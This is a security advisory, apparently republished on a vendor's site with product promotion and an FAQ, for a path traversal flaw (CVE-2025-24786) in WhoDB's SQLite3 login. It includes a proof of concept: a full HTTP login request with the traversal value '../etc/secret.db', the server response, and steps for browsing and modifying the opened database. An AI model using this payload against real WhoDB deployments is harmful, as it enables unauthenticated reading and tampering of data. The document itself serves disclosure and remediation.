Summary
WhoDB has a path traversal opening Sqlite3 database
While the application only displays Sqlite3 databases present in the directory /db, there is no path traversal prevention in place. This allows an unauthenticated attacker to open any Sqlite3 database present on the host machine that the application is running on.
Details
WhoDB allows users to connect to Sqlite3 databases. By default, the databases must be present in /db/ (or alternatively ./tmp/ if development mode is enabled). Source: https://github.com/clidey/whodb/blob/ba6eb81d0ca40baead74bca58b2567166999d6a6/core/src/plugins/sqlite3/db.go#L14-L20
If no databases are present in the default directory, the UI indicates that the user is unable to open any databases:
The database file is an user-controlled value. This value is used in .Join() with the default directory, in order to get the full path of the database file to open. Source: https://github.com/clidey/whodb/blob/ba6eb81d0ca40baead74bca58b2567166999d6a6/core/src/plugins/sqlite3/db.go#L26
No checks are performed whether the database file that is eventually opened actually resides in the default directory /db.
This allows an attacker to use path traversal (../../) in order to open any Sqlite3 database present on the system.
PoC
Before running the container, an example Sqlite3 database with dummy "secret" data was created:
DB_FILE=$(mktemp)
echo "CREATE TABLE secret_table (data TEXT); INSERT INTO secret_table VALUES ('secret data')" | sqlite3 "$DB_FILE"
The container was then created with nothing mounted into /db, and the dummy database mounted into /etc/secret.db:
podman run -d -p 8080:8080 -v "$DB_FILE":/etc/secret.db docker.io/clidey/whodb
The attacker sends a HTTP request to determine whether the secret.db is accessible by setting the Database value to ../etc/secret.db:
POST /api/query HTTP/1.1
Host: localhost:8080
content-type: application/json
...
{"operationName":"Login","variables":{"credentials":{"Type":"Sqlite3","Hostname":"","Database":"../etc/secret.db","Username":"","Password":"","Advanced":[]}},"query":"mutation Login($credentials: LoginCredentials!) {\n Login(credentials: $credentials) {\n Status\n __typename\n }\n}"}
The server response indicates that the database was successfully opened:
HTTP/1.1 200 OK
Content-Type: application/json
Set-Cookie: Token=eyJUeXBlIjoiU3FsaXRlMyIsIkhvc3RuYW1lIjoiIiwiVXNlcm5hbWUiOiIiLCJQYXNzd29yZCI6IiIsIkRhdGFiYXNlIjoiLi4vZXRjL3NlY3JldC5kYiJ9; Path=/; Expires=Thu, 23 Jan 2025 10:35:43 GMT; HttpOnly
...
{"data":{"Login":{"Status":true,"__typename":"StatusResponse"}}}
The Set-Cookie Token value is simply a Base64-encoded string with a JSON payload containing the connection details:
{
"Type": "Sqlite3",
"Hostname": "",
"Username": "",
"Password": "",
"Database": "../etc/secret.db"
}
The attacker may set this cookie in the browser manually (alongside corresponding profiles in Local Storage) in order to open this database in the WhoDB application graphically. An easy way to perform this is by using a HTTP proxy such as Burp Suite, intercepting the login request and swapping the Database value to ../etc/secret.db.
Doing so, the attacker can then browse the database, its tables and the data within:
The attacker may also insert or modify data using either the buttons presented in the UI or the Scratchpad functionality. In this proof-of-concept, the attacker inserts a new row using the Add Row button:
Recommendations
Before attempting to open the database, resolve and normalize the path to the database and check whether it is in the default directory. If not, present the user with an error.
Impact
Allows an unauthenticated attacker to open and read any Sqlite3 databases present on the system WhoDB is running on. If WhoDB has write permissions for the database file, the attacker is also able to modify the opened database.
The attacker is unable to create new databases; however, files which already exist but have no content (0-length files) may be opened and modified as fresh databases.
Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files. Typical impact: unauthorized file read or write outside the intended directory.
CVE-2025-24786 has a CVSS score of 10.0 (Critical). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.0.0-20250127172032-547336ac73c8); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2025-24786? CVE-2025-24786 is a critical-severity path traversal vulnerability in github.com/clidey/whodb/core (go), affecting versions < 0.0.0-20250127172032-547336ac73c8. It is fixed in 0.0.0-20250127172032-547336ac73c8. Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files.
- How severe is CVE-2025-24786? CVE-2025-24786 has a CVSS score of 10.0 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of github.com/clidey/whodb/core are affected by CVE-2025-24786? github.com/clidey/whodb/core (go) versions < 0.0.0-20250127172032-547336ac73c8 is affected.
- Is there a fix for CVE-2025-24786? Yes. CVE-2025-24786 is fixed in 0.0.0-20250127172032-547336ac73c8. Upgrade to this version or later.
- Is CVE-2025-24786 exploitable, and should I be worried? Whether CVE-2025-24786 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2025-24786 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2025-24786? Upgrade
github.com/clidey/whodb/coreto 0.0.0-20250127172032-547336ac73c8 or later.